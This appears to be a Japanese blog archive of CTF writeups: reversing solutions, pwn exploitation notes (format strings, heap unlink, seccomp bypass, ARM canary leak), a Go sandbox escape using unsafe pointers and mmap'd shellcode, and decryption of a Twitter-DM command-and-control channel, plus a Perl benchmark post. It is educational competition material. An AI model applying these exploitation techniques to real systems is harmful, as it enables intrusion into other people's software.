株式会社はてなに入社しました

株式会社はてなに入社しました

株式会社はてなに入社しました - hitode909の日記

年賀状CTF 2017 writeup

今年もid:nanuyokakinuさんによる年賀状CTFが開催されていたので参加した.
reversing問題が全部で3問.すべて解くと最後のフラグにAmazonのギフト券が書いてあり,お年玉が貰える.今年はなんと0x1337円.ありがとうございました :)

nanuyokakinu.hatenablog.jp

以下,解いた問題のwriteup.

stage1

% file stage1.exe
stage1.exe: PE32+ executable for MS Windows (console) Mono/.Net assembly

64bitのPE.IDA Pro Freeが使えないのでHopperを使って読んだ.ただし,静的解析の妨害として,文字列がエンコードされているので,x64dbgというデバッガで動かしながら確認していった.

notepad.exeのプロセスのメモリをWriteProcessMemoryで書き換えている.ダンプするとまたPEが出てくるのでそれらしい処理をしているところを見ると,HappyNewYear2017を鍵として暗号化したものがERV5vdff++FakEbRj0z8UyhZPPBYLLPm5xYAeVPPKsGlvRzPH4Bq+o1tZQB2wgznになればよいらしい.
stage1.exeに同様の___ENCRYPTKEY___が鍵の復号処理があるので,それを流用した.

# -*- coding: utf-8 -*-
import base64
import struct

p = lambda x: struct.pack('<I', x)
u = lambda x: struct.unpack('<I', x)[0]
u4 = lambda x: [u(x[i:i+4]) for i in range(0, len(x), 4)]

password = u4(base64.b64decode('ERV5vdff++FakEbRj0z8UyhZPPBYLLPm5xYAeVPPKsGlvRzPH4Bq+o1tZQB2wgzn'))
enckey = u4('HappyNewYear2017')

length = len(password)
blocknum = 52 / length + 6

block = password[0]

i_1 = blocknum * 0x9e3779b9
i_1 &= 0xffffffff

for _ in range(blocknum):
    i_2 = (i_1 >> 2) & 3
    for j in range(length-1, -1, -1):
        c = password[j-1]

        edx = (c >> 5) ^ ((block << 2) & 0xffffffff)
        r8d = (block >> 3) ^ ((c << 4) & 0xffffffff)
        ecx = edx + r8d
        ecx &= 0xffffffff

        edx = block ^ i_1
        r8d = enckey[(j & 3) ^ i_2] ^ c

        edx += r8d
        edx &= 0xffffffff
        ecx ^= edx
        eax = password[j]
        eax -= ecx
        eax &= 0xffffffff
        d = eax

        password[j] = d
        block = d

    i_1 -= 0x9e3779b9
    i_1 &= 0xffffffff

print ''.join([p(x) for x in password])
NYC{L0gg1ng_Cl1pb04rd_w17h_Dll_1nj3c710n})

notepad.exeに対して,dll injectionを行い,その中でクリップボードのデータからフラグチェックを行うものだったらしい.

stage2

WebAssembly!! wasmファイルが同梱されていて,フラグチェックがWebAssembly上で行われる.ブラウザ上で動かす場合,Chromeならchrome://flags/#enable-webassemblyから有効にできる.

まずはwasmをwastに変換して読み始める. https://github.com/WebAssembly/wabt にあるwasm2wastを使うと変換できる.命令セットについては, https://github.com/WebAssembly/design/blob/master/BinaryEncoding.md を参照.

main関数まわりを読んでみると,スタックに引数を積んでいきながら命令を実行していくスタックマシンのようなかんじ.ローカル変数は関数に渡された引数,関数内で使っている変数という順番に番号が振られる.

stage2.htmlを見ると,main関数にコマンドライン引数として比較される文字列を渡している. main(func 28)を見ると,2つの引数argc, argvを持っていることが分かる.コード中に*(argv+4)のような処理があるので合っているはず.

  (func (;28;) (type 1) (param i32 i32) (result i32)
    (local i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32 i32)
    block i32  ;; label = @1
      get_global 9
      set_local 47
      get_global 9
      i32.const 32
      i32.add
      set_global 9
      get_global 9
      get_global 10
      i32.ge_s
      if  ;; label = @2
        i32.const 32
        call 3
      end
      i32.const 0
      set_local 12
      get_local 0
      set_local 23
      get_local 1
      set_local 34
      get_local 34
      set_local 44
      get_local 44
      i32.const 4
      i32.add
      set_local 45
      get_local 45
      i32.load
      set_local 2
      get_local 2
      call 41
      set_local 3
      get_local 3
      set_local 42
      get_local 42
      set_local 4
      get_local 4
      i32.const 46
      i32.ne
      set_local 5
      get_local 5
      i32.eqz
      if  ;; label = @2
        get_local 42
        set_local 6
        get_local 6
        i32.const 1
        i32.add
        set_local 7
        get_local 7
        i32.const 1
        call 52
        set_local 8
        get_local 8
        set_local 41
        get_local 41
        set_local 9
        get_local 34
        set_local 10
        get_local 10
        i32.const 4
        i32.add
        set_local 11
        get_local 11
        i32.load
        set_local 13
        get_local 9
        get_local 13
        call 42
        drop
        i32.const 0
        set_local 43
        loop  ;; label = @3
          block  ;; label = @4
            get_local 43
            set_local 14
            get_local 42
            set_local 15
            get_local 14
            get_local 15
            i32.lt_u
            set_local 16
            get_local 16
            i32.eqz
            if  ;; label = @5
              br 1 (;@4;)
            end
            get_local 43
            set_local 17
            get_local 41
            set_local 18
            get_local 18
            get_local 17
            i32.add
            set_local 19
            get_local 19
            i32.load8_s
            set_local 20
            get_local 20
            i32.const 255
            i32.and
            set_local 21
            get_local 21
            i32.const 255
            i32.xor
            set_local 22
            get_local 22
            i32.const 255
            i32.and
            set_local 24
            get_local 19
            get_local 24
            i32.store8
            get_local 43
            set_local 25
            get_local 41
            set_local 26
            get_local 26
            get_local 25
            i32.add
            set_local 27
            get_local 27
            i32.load8_s
            set_local 28
            get_local 28
            call 27
            set_local 29
            get_local 29
            call 3
            get_local 43
            set_local 30
            get_local 41
            set_local 31
            get_local 31
            get_local 30
            i32.add
            set_local 32
            get_local 32
            get_local 29
            i32.store8
            get_local 43
            set_local 33
            get_local 33
            i32.const 1
            i32.add
            set_local 35
            get_local 35
            set_local 43
            br 1 (;@3;)
          end
        end
        get_local 41
        set_local 36
        get_local 42
        set_local 37
        get_local 36
        i32.const 1144
        get_local 37
        call 37
        set_local 38
        get_local 38
        i32.const 0
        i32.ne
        set_local 39
        get_local 39
        i32.eqz
        if  ;; label = @3
          i32.const 1195
          call 49
          drop
          i32.const 1
          set_local 12
          get_local 12
          set_local 40
          get_local 47
          set_global 9
          get_local 40
          return
        end
      end
      i32.const 1191
      call 49
      drop
      i32.const 0
      set_local 12
      get_local 12
      set_local 40
      get_local 47
      set_global 9
      get_local 40
      return
    end)

これだと読みにくいので,擬似コードに直すスクリプトを書いて変換して読んだ.

@1: {
  l[47] = g[9]
  g[9] = g[9] + 32
  if g[9] >= g[10] {
    call 3(32)
  }
  l[12] = 0
  l[23] = l[0]
  l[34] = l[1]
  l[44] = l[34]
  l[45] = l[44] + 4
  l[2] = *l[45]
  call 41(l[2]) # strlen
  l[3] = RETVAL
  l[42] = l[3]
  l[4] = l[42]
  l[5] = l[4] != 46 # 入力は46文字
  if l[5] == 0 {
    l[6] = l[42]
    l[7] = l[6] + 1
    call 52(l[7], 1) # バッファの確保?
    l[8] = RETVAL
    l[41] = l[8]
    l[9] = l[41]
    l[10] = l[34]
    l[11] = l[10] + 4
    l[13] = *l[11]
    call 42(l[9], l[13]) # 確保したバッファに文字列をコピー?
    drop
    l[43] = 0
    loop@3: {
      @4: {
        l[14] = l[43]
        l[15] = l[42]
        l[16] = l[14] < l[15]
        if l[16] == 0 {
          br (;@4;)
        }
        l[17] = l[43]
        l[18] = l[41] # 渡された文字列
        l[19] = l[18] + l[17]
        l[20] = *l[19]
        l[21] = l[20] & 255
        l[22] = l[21] ^ 255
        l[24] = l[22] & 255
        *l[19] = l[24]
        l[25] = l[43]
        l[26] = l[41]
        l[27] = l[26] + l[25]
        l[28] = *l[27]
        call 27(l[28]) # 変換
        l[29] = RETVAL
        l[30] = l[43]
        l[31] = l[41]
        l[32] = l[31] + l[30]
        *l[32] = l[29]
        l[33] = l[43]
        l[35] = l[33] + 1
        l[43] = l[35]
        br (;@3;)
      }
    }
    l[36] = l[41]
    l[37] = l[42]
    # 
    call 37(l[36], 1144, l[37]) # strncmp
    l[38] = RETVAL
    l[39] = l[38] != 0
    if l[39] {
      call 49(1195) # good
      drop
      l[12] = 1
      l[40] = l[12]
      g[9] = l[47]
      return l[40]
    }
  }
  call 49(1191) # bad
  drop
  l[12] = 0
  l[40] = l[12]
  g[9] = l[47]
  return l[40]
}

func 27:

@1: {
  l[8] = g[9]
  g[9] = g[9] + 16
  if g[9] >= g[10] {
    call 3(16)
  }
  l[1] = l[0]
  l[2] = l[1]
  call 26(l[2], 12, 2)
  l[3] = RETVAL
  l[1] = l[3]
  l[4] = l[1]
  call 26(l[4], 34, 1)
  l[5] = RETVAL
  l[1] = l[5]
  l[6] = l[1]
  g[9] = l[8]
  return l[6]
}

func 26:

@1: {
  l[31] = g[9]
  g[9] = g[9] + 16
  if g[9] >= g[10] {
    call 3(16)
  }
  l[23] = l[0]
  l[24] = l[1]
  l[25] = l[2]
  l[27] = l[23]
  l[28] = l[27] & 255
  l[29] = l[25]
  l[3] = l[28] >> l[29]
  l[4] = l[23]
  l[5] = l[4] & 255
  l[6] = l[3] ^ l[5]
  l[7] = l[24]
  l[8] = l[7] & 255
  l[9] = l[6] & l[8]
  l[10] = l[9] & 255
  l[26] = l[10]
  l[11] = l[23]
  l[12] = l[11] & 255
  l[13] = l[26]
  l[14] = l[13] & 255
  l[15] = l[12] ^ l[14]
  l[16] = l[26]
  l[17] = l[16] & 255
  l[18] = l[25]
  l[19] = l[17] << l[18]
  l[20] = l[15] ^ l[19]
  l[21] = l[20] & 255
  l[23] = l[21]
  l[22] = l[23]
  g[9] = l[31]
  return l[22]
}

後半に表われる1144や1195, 1191はデータを参照している.

  (data (i32.const 1024) "\04\04\00\00\05\00\00\00\00\00\00\00\00\00\00\00\01\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\02\00\00\00\03\00\00\00\d8\06\00\00\00\04\00\00\00\00\00\00\00\00\00\00\01\00\00\00\00\00\00\00\00\00\00\00\00\00\00\0a\ff\ff\ff\ff\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\00\04\04\00\00\8b\9c\da\90\c8\f0\d3\e5\d0\d0\f0\86\d3\87\94\88\e5\83\c7\88\87\87\c1\86\88\e5\d1\f0\88\c9\f0\d1\94\88\f4\83\e0\f0\d1\f0\e4\e0\f4\83\c2\84\00bad\00good"))

手軽にデバッグするがないか探していたら,importされているabortStackOverflowを使うとabortのメッセージで値をリークできた.

f:id:akiym:20170103100438p:plain

例えば,ローカル変数28が文字列への参照だったときに,その先頭1バイトを確認する場合は以下のコードを追加して,wast2wasmでwasmに変換して実行する.

get_local 28
i32.load8_u
call 3

入力を変換した後の結果が\x8b\x9c\xda\x90\xc8\xf0\xd3\xe5\xd0\xd0\xf0\x86\xd3\x87\x94\x88\xe5\x83\xc7\x88\x87\x87\xc1\x86\x88\xe5\xd1\xf0\x88\xc9\xf0\xd1\x94\x88\xf4\x83\xe0\xf0\xd1\xf0\xe4\xe0\xf4\x83\xc2\x84になれば正解.
1文字ずつ総当たりして求めた.

# -*- coding: utf-8 -*-

def func26(c, x, y):
    A = ((c >> y) ^ c) & x
    return (c ^ A) ^ (A << y) & 0xff

def func27(c):
    return func26(func26(c, 12, 2), 34, 1)

answer = '\x8b\x9c\xda\x90\xc8\xf0\xd3\xe5\xd0\xd0\xf0\x86\xd3\x87\x94\x88\xe5\x83\xc7\x88\x87\x87\xc1\x86\x88\xe5\xd1\xf0\x88\xc9\xf0\xd1\x94\x88\xf4\x83\xe0\xf0\xd1\xf0\xe4\xe0\xf4\x83\xc2\x84'

flag = ''
for i in range(46):
    for c in range(0x20, 0x7f):
        if (ord(answer[i])) == func27(c ^ 0xff):
            flag += chr(c)
            break
print flag
NYC{W3b4ss3mbly_4nd_llvm_4r3_V3ry_1n73r3571ng}

stage3

dlangバイナリ.Hopperにはdlangのdemangle機能がないので,objdump --demangle=dlang --sym stage3の結果を見ながら解析する.
stage1と同様に,この問題でも文字列がエンコードされているので,デバッガで動かしながら確認していくとhttps://userstream.twitter.com/1.1/user.jsonという文字列やstage3.send_dmという関数があるので,Twitterに関連した問題だと分かる.

DMを経由してコマンドを実行するC2サーバのような動作をしている.
.dataセクションにOAuthのconsumer keyとaccess tokenだけではなく,consumer secretとaccess token secretが残っているのでこれを利用すると,@mytyl_nyctfのDMの内容を見ることができる.@tyltyl_nyctfとDMでやりとりされており,その内容がコマンドの実行結果となっている.

コマンド,実行結果は以下の手順で暗号化されている.

  • zlibで圧縮
  • RC4で暗号化 (key=Thank you for playing! Almost there!)
  • カスタムテーブルを持ったBase64エンコード (table=TXyU9lM5VfHkRS0YgvK4hcnb~CEIFBQ7r3zdAqO6DNe2p8sxmtL_JuGa1joZWiP-w)

逆の手順を行うことで復号することができる.カスタムBase64RC4というとDaserfっぽい.

import base64
import string
import zlib
from Crypto.Cipher import ARC4

transtable = string.maketrans(
    'TXyU9lM5VfHkRS0YgvK4hcnb~CEIFBQ7r3zdAqO6DNe2p8sxmtL_JuGa1joZWiP-w',
    'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
)
rc4_key = 'Thank you for playing! Almost there!'

enc = [
    'D7puoyfhNkq6zCko6gRw',
    'D78ZUUn0eWXadhnHJp3tF7E_3Yg~oAvG~jY6f2nWK8nyixt-Ax8~ifbWeEgP7V1W1Q0lbvYmZaIIX1_x7UhB9tdzgVIHtUeQbNjODzO15A45sNVlKMN5jPZ9Ra30l6D5LOyUv_6I5y1lcglgk4PH1U3TFpZE',

    'D7suzudHbRRLnhE1cZTeZxcnPWf8Xu1Ynmww',
    open('encflag', 'r').read(),
]

for x in enc:
    x = x.translate(transtable)
    x = base64.b64decode(x)
    x = ARC4.new(rc4_key).decrypt(x)
    x = zlib.decompress(x)
    print x
ls -la
total 5152
drwxr-xr-x 1 vagrant vagrant     136 Dec 31 16:37 .
drwxr-xr-x 1 vagrant vagrant     306 Dec 31 16:28 ..
-rw-r--r-- 1 vagrant vagrant    6980 Dec 31 16:33 flag.jpg
-rwxr-xr-x 1 vagrant vagrant 5264181 Dec 31 16:09 stage3

base64 ./flag.jpg
/9j/4AAQSkZJRgABAQEASABIAAD/4QCMRXhpZgAATU0AKgAAAAgABgEGAAMAAAABAAIAAAESAAMA
...

デコードするとギフト券番号が書いてある画像が出てくる.

まずはCTFの過去問を解く

この記事は,CTF Advent Calendar 2016の1日目です.

www.adventar.org

CTFプレイヤーたるもの,日々の鍛錬は欠かせません. 過去問を解いてこそ,競技中に真の実力を発揮することができるのです.

ということで,bata_24さんが公開しているpwn challenges list - Pastebin.comを管理できるページを作成しました.

http://ctf.katsudon.org/ctf4u/

f:id:akiym:20161201215701p:plain

CTF Advent Calendar 2016 - Adventar にはまだ空きがあるようなので,過去問のwriteupを書いてくれる方をお待ちしています.

全完目指して頑張りましょう.お楽しみください.

高速にリストからハッシュにする

いまいちピンとくる言い方が分からないけれど,つまりはこういうこと.

[
    {
        id => 1,
        value => 'foo',
    },
    {
        id => 2,
        value => 'bar',
    },
]

このようなデータ構造があったときに,以下のようにidをkeyとしてハッシュにしたい.

{
    1 => {
       id => 1,
       value => 'foo',
    },
    2 => {
       id => 2,
       value => 'bar',
    }
}

割とよくあることなので,普段はmapを使ってこのように書いている.

my $x = +{map { ($_->{id} => $_) } @users};

これは,List::Utilreduceを使っても同じように書ける.引数の先頭がハッシュリファレンスになっていて,それを引き回すことで実現している.

use List::Util qw/reduce/;
my $x = reduce { $a->{$b->{id}} = $b; $a } ({}, @users);

実は,reduceで書いたコードはmapよりも40%程度ではあるが若干早く動作する.一見mapのほうがシンプルで値を返しているだけなので早く動作するように見えるがそうではない.

気になったのでList::Utilのコードを見てみたところ,lightweight callbackを使って実装されていた.

https://metacpan.org/source/PEVANS/Scalar-List-Utils-1.46/ListUtil.xs#L370-430

lightweight callbackについてはperldoc perlcallに少しだけではあるがドキュメントが存在する.ループ中に同じ関数を何度も呼び出すようなケースに使う.

reduceで書いたコードが早いのはlightweight callbackのおかげらしい.ということで,List::Utilのコードを参考に,lightweight callbackを使って高速にリストからハッシュにする処理を書いてみた.

github.com

名前が思い付かなかったのでそのままto_hashに……

  • List::Utilのコードはコアモジュールだからかポータブルな実装.ifdefたくさん.
  • $_GvSV(PL_defgv)
  • 返り値は関数呼び出し後に*PL_stack_spを参照
  • Perlのハッシュは,キーにundefを指定することができない(空文字列になる)

ベンチマークは以下の通り.

use strict;
use warnings;
use Benchmark qw/:all/;
use List::ToHash;
use List::Util;

my @ARRAY;
for my $i (1..100) {
    push @ARRAY, {
        id    => $i,
        value => '.' x 100,
    };
}

cmpthese(timethese(0, {
    map => sub {
        my $x = +{map { ($_->{id} => $_) } @ARRAY};
    },
    reduce => sub {
        my $x = List::Util::reduce { $a->{$b->{id}} = $b; $a } ({}, @ARRAY);
    },
    for => sub {
        my $x = {};
        $x->{$_->{id}} = $_ for @ARRAY;
        $x;
    },
    to_hash => sub {
        my $x = List::ToHash::to_hash { $_->{id} } @ARRAY;
    },
}));
Benchmark: running for, map, reduce, to_hash for at least 3 CPU seconds...
       for:  3 wallclock secs ( 3.18 usr +  0.01 sys =  3.19 CPU) @ 19303.13/s (n=61577)
       map:  3 wallclock secs ( 3.13 usr +  0.02 sys =  3.15 CPU) @ 13437.46/s (n=42328)
    reduce:  3 wallclock secs ( 3.20 usr +  0.02 sys =  3.22 CPU) @ 18504.66/s (n=59585)
   to_hash:  4 wallclock secs ( 3.12 usr +  0.01 sys =  3.13 CPU) @ 26635.78/s (n=83370)
           Rate     map  reduce     for to_hash
map     13437/s      --    -27%    -30%    -50%
reduce  18505/s     38%      --     -4%    -31%
for     19303/s     44%      4%      --    -28%
to_hash 26636/s     98%     44%     38%      --

結果としては,mapよりも2倍早く処理することができた.ただこの程度であれば微々たる差のように見える.結局はmap使っておけば良さそう.

Tokyo Westerns / MMA CTF 2nd 2016: greeting, Interpreter, diary, Candy Store, shadow

greeting

Host : pwn2.chal.ctf.westerns.tokyo
Port : 16317

greeting

Note: DoS攻撃に対する対策の為,出力が131072文字に制限されています.

main関数のみのシンプルなバイナリ.FSBがあるが,その後すぐにreturnするため1度しか実行できないように見える.FSBによる攻擊の流れは以下の通り.

  • stack上のreturn addressの位置をリーク
  • 必要であればlibcのアドレスリーク(今回はsystemがpltに存在するので不要)
  • stackを書き換えてsystem("/bin/sh")を実行

今回の場合は,.fini_arrayをmain関数のアドレスに書き換えることで再度mainを呼ぶことができるようになり,上記の攻擊が可能となる.

入力文字列をsprintfに投げてからFSBが発生するため,最初に20文字文字が書き込まれている.libformatstrを使う場合はstart_lenを指定する必要があることに注意.

最後にsystem("/bin/sh")を実行するにあたって,"/bin/sh"をアドレス上に配置,または取得するのが面倒なときがある.このようなときには"sh\0""ed\0"を探すと良い.
今回の問題バイナリでは.dyn_str上に"_IO_stdin_used\0"が存在したので,それを利用した.シェルを起動するときには,ed上で!shを入力するとshが起動できる.

exploit: greeting - Tokyo Westerns / MMA CTF 2nd 2016

Interpreter

$ nc pwn1.chal.ctf.westerns.tokyo 62839
befunge.7z

befungeというプログラミング言語インタプリタ.befungeでは,g, p命令を使うことで,プログラム上のメモリの読み書きができる.

ただし,Full RELROなので,GOTを書き換えて任意アドレスに飛ぶということができない.
GOTに書き込みはできないがリークはできるので,libcのベースアドレスをリークする.libc内に存在する__libc_argvからスタック上にあるargvのアドレスを取得し,mainのリターンアドレスを書き換えることにより,shellを起動した.

&scanf("%d", number)より数値を入力してその値をスタックpushする.スタックのpush時には,movsxdにより64bit長のレジスタに符号拡張されるため,signed intの範囲よりも大きい数値を入力したい場合は2つの値の掛け算により表現する必要があった.

f:id:akiym:20160910003648p:plain

exploit: Interpreter - Tokyo Westerns / MMA CTF 2nd 2016

diary

Host : pwn1.chal.ctf.westerns.tokyo
Port : 13856

もし必要であるなら,./bash が使えます.

diary

独自mallocにより管理される.確保される領域はrwxであるため,おそらくheap上に飛んでshellcode実行させる問題だろうと思われる.

getnlineにはoff by oneの脆弱性がある.これにより,独自mallocで管理されるchunkのサイズを書き換えることができる.これを利用することでchunkがfree済みかどうかの状態を自分で指定でき,free済みchunkのlinked listの状態を書き換えることができるようになる.
あとは,unlink attackによりGOTを書き換えheap上のshellcodeに飛ばす.

この問題ではseccomp mode 2により実行できるsyscallが制限されている.
bpf filterのdisassembleにはlibseccompに付属しているscmp_bpf_disamを使う.ただしsyscall番号をそのまま表示してしまうので読みにくい.拙作のdisas-seccomp-filter akitools/disas-seccomp-filter at master · akiym/akitools · GitHub を使うと読みやすいようにしてくれる.

 line  OP   JT   JF   K
=================================
 0000: 0x20 0x00 0x00 0x00000000   ld  seccomp_data.nr
 0001: 0x15 0x00 0x01 0x00000002   jeq SYS_open    true:0002 false:0003
 0002: 0x06 0x00 0x00 0x00000000   ret KILL
 0003: 0x15 0x00 0x01 0x00000101   jeq SYS_openat  true:0004 false:0005
 0004: 0x06 0x00 0x00 0x00000000   ret KILL
 0005: 0x15 0x00 0x01 0x0000003b   jeq SYS_execve   true:0006 false:0007
 0006: 0x06 0x00 0x00 0x00000000   ret KILL
 0007: 0x15 0x00 0x01 0x00000038   jeq SYS_clone   true:0008 false:0009
 0008: 0x06 0x00 0x00 0x00000000   ret KILL
 0009: 0x15 0x00 0x01 0x00000039   jeq SYS_fork   true:0010 false:0011
 0010: 0x06 0x00 0x00 0x00000000   ret KILL
 0011: 0x15 0x00 0x01 0x0000003a   jeq SYS_vfork   true:0012 false:0013
 0012: 0x06 0x00 0x00 0x00000000   ret KILL
 0013: 0x15 0x00 0x01 0x00000055   jeq SYS_creat   true:0014 false:0015
 0014: 0x06 0x00 0x00 0x00000000   ret KILL
 0015: 0x15 0x00 0x01 0x00000142   jeq 0x142  true:0016 false:0017
 0016: 0x06 0x00 0x00 0x00000000   ret KILL
 0017: 0x06 0x00 0x00 0x7fff0000   ret ALLOW

特定のsyscallのみを拒否するブラックリスト方式による制限を行っている.アーキテクチャチェックとsyscall番号の上限チェックが行われていない.今回はsyscall番号の上限チェック不備によるx32 syscallを呼ぶようにした.

exploit: diary - Tokyo Westerns / MMA CTF 2nd 2016

Candy Store

Host : candystore1.chal.ctf.westerns.tokyo
Port : 11111

Do you want something sweet...?

candystore

--
更新1: flagは「/home/candystore/flag」にあります. また, このバイナリは最新のRaspbian上で動作しています.

この問題はコンテスト終了後に解いた.ARMのバイナリ.動作やデバッグQEMUのarmhf環境上で行った.

adminモードにてストア名の書き換え,アイテムの追加や削除ができる.ただし,admin(パスワードはランダム)でなければいけない.
profileの入力時にadmin flagの書き換えが発生するため,パスワードを知らなくてもadminモードに移行できる.

adminモードではmax item amountを変更することができるが,現在の値よりも大きい数を指定すると拒否される.

f:id:akiym:20160910003508p:plain

bhiによる比較ではあるが,そもそもread_int32関数内で呼ばれるatoiはsigned intの正の範囲のみを返すため,任意の値に書き換えることができない.

ストア名に限界の128文字まで指定して,末尾に\0を含めないようにすることで,strcpy時にmax item amountの書き換えができるようになる.

f:id:akiym:20160910003512p:plain

ストアのアイテムは16個以下であることが決めうちされているため,それ以上追加するとストア名が入っているバッファにはみ出る.これを使うことで,アイテムのポインタを任意アドレスに書き換えることができ,リークができる.

orderコマンドにはスタックバッファオーバーフロー脆弱性が存在するが,stack canaryにより防がれている.canaryのリークをする必要がある.なんと,ARM環境ではcanaryの値が.bssセクション上に存在する.すでに任意アドレスリークはできているので,canaryとlibcのアドレスをリークし,system("/bin/sh")を実行すれば終わり.

exploit: Candy Store - Tokyo Westerns / MMA CTF 2nd 2016

作問者によると,これは想定していない解法とのこと.作問者自らwriteupを書くとのことなので期待.

shadow

Host : pwn2.chal.ctf.westerns.tokyo
Port : 18294

shadow

バッファオーバフローと任意アドレスの読み書きができる,明らかな脆弱性があるバイナリ.ただし,独自のmitigationにより関数のcall, retのチェックがされているため,任意のコードに飛ぶことすら難しい.

.bssセクション上にはmitigationで使われているsp, stack_bufのアドレスが存在しているが以下のようなチェックが存在する.

f:id:akiym:20160910012429p:plain

spを書き換えたとしても,gs:0x20に保存された値に上書きされてしまう.stack_bufは正しい範囲に入ってなければいけない.

gs:0x20TLS上に配置されているため,TLSのアドレスを求めてgs:0x20を丸ごと書き換えてしまえばmitigation自体のstackを置き換えて任意の関数を呼ぶことができるようになる.
TLSのアドレスはstack上に存在するため,リークするだけで求めることができる.

exploit: shadow - Tokyo Westerns / MMA CTF 2nd 2016

Teaser CONFidence DS CTF 2016 Go Sandbox 1, 2 - Go's unsafe is unsafe!

Go Sandbox (Pwning, 150)

We found a sandbox written in Go. It looks pretty solid, but there must be a bug somewhere. All you need to do for us is to execute ./get_flag IP: gobox.hackable.software:1337 Download

Golangソースコードを実行するサンドボックス./get_flagを実行するとflagが得られる。

golangのバイナリはstatic linkされているためサイズが大きく解析がしにくい。main関数はmain.mainとしてシンボル定義されているので、そこから読んでいく。プログラムの流れは、ソースコードの入力、制限チェック、ビルドして実行するだけ。

main.checkProgram内でgo/parserを使ってソースコードを静的解析して制限チェックを行う。ここではimportできるpackageが制限されており、以下の文字列が含まれるpackageが禁止されている。

archive, compress, crypto, database, debug, encoding, expvar, flag, go, html, image, internal, io, log, mime, net, os, path, reflect, runtime, syscall, testing, text, C

syscallCが禁止されているので、直接execve syscallを呼ぶことができないが、ここではunsafeが禁止されてないので、unsafeを使って任意のコードを実行できるようにしてみる。

unsafe

unsafeはCのポインタ演算のようなことができる。この名前の通り、間違った使い方をすると危険。

アドレスに飛ぶ

まず、unsafeでmain関数のアドレスを取得してみる。

f := main
refAddr := uintptr(*(*int64)(unsafe.Pointer(&f)))
addr := uintptr(*(*int64)(unsafe.Pointer(refAddr)))
fmt.Printf("%x -> %x\n", refAddr, addr) #=> 52ae18 -> 401010

変数fにはこのようにmain.mainのアドレスが入っており、この中身を変数addrに代入している。

f:id:akiym:20160416010018p:plain

次に指定したアドレスに飛んでみる。

func test() {
}

func callAddr(addr uint64) unsafe.Pointer {
    p := int64(uintptr(unsafe.Pointer(&addr)))
    f := test
    *(*int64)(unsafe.Pointer(unsafe.Pointer(&f))) = p
    return unsafe.Pointer(&f)
}

func main() {
    pwned := *(*func())(callAddr(0xdeadbeef))
    pwned()
}

test関数へ参照しているポインタを指定したアドレスに書き換えてから関数呼び出しを行う。

ちなみにビルドされたバイナリはこのようになっている。インライン展開されているのとunsafe.Pointerは単純にポインタの演算になってしまっていることに注意。

f:id:akiym:20160416010037p:plain

アドレス0xdeadbeefは存在しないので、fatalするが0xdeadbeefには飛んでいることが分かる。

unexpected fault address 0xdeadbeef
fatal error: fault
[signal 0xb code=0x1 addr=0xdeadbeef pc=0xdeadbeef]

シェルコードを実行する

go 1.6ではNXが有効なのでheapやstackに共に実行できない。
嬉しいことに生成されるバイナリにはruntime.sysMmapがリンクされているので、これを使ってexecutableなメモリ領域を確保してシェルコードを実行することができる。
runtime.sysMmapは単純にmmap syscallを呼ぶだけの関数。

f:id:akiym:20160416010045p:plain

同じ環境でバイナリをビルドすることでruntime.sysMmapのアドレスをあらかじめ知っておくことができる。(static linkされているのでアドレスは固定)

mmapを呼ぶことでアドレス0x1000000にrwxな領域を確保する。

mmap := *(*func(unsafe.Pointer, uintptr, int32, int32, int32, uint32))(callAddr(0x44e110)) // runtime.sysMmap
shellcodeAddr := unsafe.Pointer(uintptr(0x1000000))
mmap(shellcodeAddr, 4096, 7, 0x32, -1, 0)

最後に確保した領域に./get_flagを実行するシェルコードを書き込んで呼び出せば終わり。

flag: DrgnS{Uns4fe_Go_15_un5af3}

以上よりunsafeが使えると任意のコードが実行できることが分かる。

Go Sandbox 2 (Pwning, 250)

The bug in the previous sandbox was fixed, but there's surely something wrong with this one too. The task is, as before, to execute ./get_flag IP: gobox2.hackable.software:1337 Download

前回と同じソースコードで通る。

flag: DrgnS{D4rn_5tR1ng_Int3Rpo14TI0n}

SECCON 2015 Intercollege 優勝しました

チームdodododoで参加して、29109ptで優勝しました。
チーム構成はakiym, xrekkusu, lrks, hiromuの4人。分担は、攻擊班akiymとlrks、防御班xrekkusuとhiromu。

f:id:akiym:20160131214722p:plain

今回のSECCON Intercollegeは学生限定ということで、通常の決勝とは違う、Attack & Defenseルール。各チームにroot権限サーバが1つ与えられ、その上で3つのサービスが動かす。それぞれに脆弱性があり、それを修正しながら、相手に攻擊するといったもの。

2015.seccon.jp

ルールを簡単に説明すると、5分毎に運営側からSLAのアクセスが飛んできて、動作しているサービスを経由してフラグがどこかに書き込まれる。正しく書き込まれているか確認出来なければdefense scoreが獲得できない、かつ総得点より3%の減点となる。正しくサービスを運用しつつ脆弱性を修正する必要がある。
他チームのフラグを入手し、サブミットすることが出来ればそのチームの3%のスコアを奪うことができる。4時間で攻擊、防御のバランスをどう取るかが難しいところ。

用意された問題は3つ。ジャンルはすべてwebだった。4時間しかないので、バイナリ問題はさすがに出題しなかったか…

vulnerable_blog, keiba

競技中はほぼ見てない。防御班に任せる。

sbox2015

PythonCGIで動いている。OS X, Windowsクライアントが配布されているが、実行するのが怖かったので、CGIソースコードを読んだ。 単純にファイルアップローダ。ただし、アップロードしたファイルをeval.rb, eval.php, eval.pyのいずれかを経由して実行することができる。自由にRuby, PHP, Pythonのコードが実行されてしまう。
ちなみに、eval.pyの中身は以下のようになっている。

#!/usr/bin/python
import sys
g = { "INDATA": sys.argv[2], "OUTDATA": "" }
exec open(sys.argv[1]).read() in g
sys.stdout.write(g["OUTDATA"])

SLAチェックは運営側からOUTDATA = "3630329450522296302958265"のようなリクエストが飛んでくる。問題の趣旨はいかにして、安全なコードを実行しつつ、他チームからの危険なコードを実行させないかである。sandboxのようなものを書いて欲しいのだろう。SLAは単純なので、50文字以上のリクエストを受け付けないようにしてみたところ、他チームから攻擊が確認されなかった。これでいいのか…よくよく考えてみるとexec(INDATA)で回避できる。危ない。
